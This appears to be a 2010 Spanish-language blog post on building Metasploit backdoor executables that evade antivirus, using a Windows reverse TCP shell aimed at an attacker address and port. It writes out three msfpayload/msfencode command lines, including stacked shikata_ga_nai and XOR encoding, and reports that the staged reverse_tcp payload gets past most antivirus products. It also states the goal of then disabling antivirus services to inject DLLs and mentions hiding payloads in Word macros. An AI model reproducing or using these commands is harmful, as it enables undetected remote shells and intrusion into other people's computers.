Compilando payloads para saltarse antivirus

Mar 29, 2010

Después de un día de aburrimiento, he estado pensando en  el problema que tiene Metasploit a la hora de compilar payloads .exe para windows, todas son detectadas por los antivirus y nunca se dejan ejecutarse, incluso al incluírlas en el el .bas de Visual Basic para incrustar por ejemplo en un Word.

Hay muchos payloads que con antivirus son muy dificiles de inyectar, sobretodo cualquier Payload que inyecte una dll en memoria. Entonces tenía que intentar hacer un bypass al antivirus por lo menos de un Payload Shell para poder cargarme los servicios del antivirus y así posteriormente proceder a inyectar dll's :-D y lo he conseguido.

Procedimiento

Lo primero que se me ocurrió para intentar saltarme un AVG Premium ( que es el antivirus que tenía a mano y además considero un antivirus bastante inquieto) fue usar el "shikata ga nai encoder" (que traduciendo del japonés viene siendo algo así como "no puede ser detectado" o "nada se puede hacer".

./msfpayload windows/shell_reverse_tcp LHOST=192.168.0.33 LPORT=6969 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/backdoor.exe

Como resultado non he conseguido nada, el antivirus sigue detectando el backdoor. Asique el segundo método, la lluvia de enconders, es decir, usar encodes binarios distintos y encodearlos tropecientas veces; concretamente una vez con el básico de generacion de payload, 10 veces con el shikata_ga_nai, y otras 10 con el Call+4 Dword XOR encoder, con esto el antivirus lo va a tener muy dificil.

./msfpayload windows/shell_reverse_tcp LHOST=192.168.0.33 LPORT=6969 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe > /tmp/6.exe

Muy bien, pues tengo que admitir que es bueno, porque lo ha detectado!!!

Luego de dos fracasos con encodes es obvio que necesito cambiar de método, asique me puse a leer un poco y me di cuenta de Windows/shell_reverse_tcp no es igual a Windows/shell/reverse_tcp, este último contiene solo el código necesario para establecer una conexión TCP, entonces el Stage carga el resto de código que requiere el exploit desde la máquina atacante.

./msfpayload windows/shell/reverse_tcp LHOST=192.168.0.33 LPORT=6969 E > /tmp/backdoor.exe

Pues finalmente lo he conseguido, con este payload se puede hacer un bypass de la mayoría de los antivirus. No lo he probado en todos, cualquier prueba comentadlo.

Espero que haya resultado de ayuda! hasta la próxima.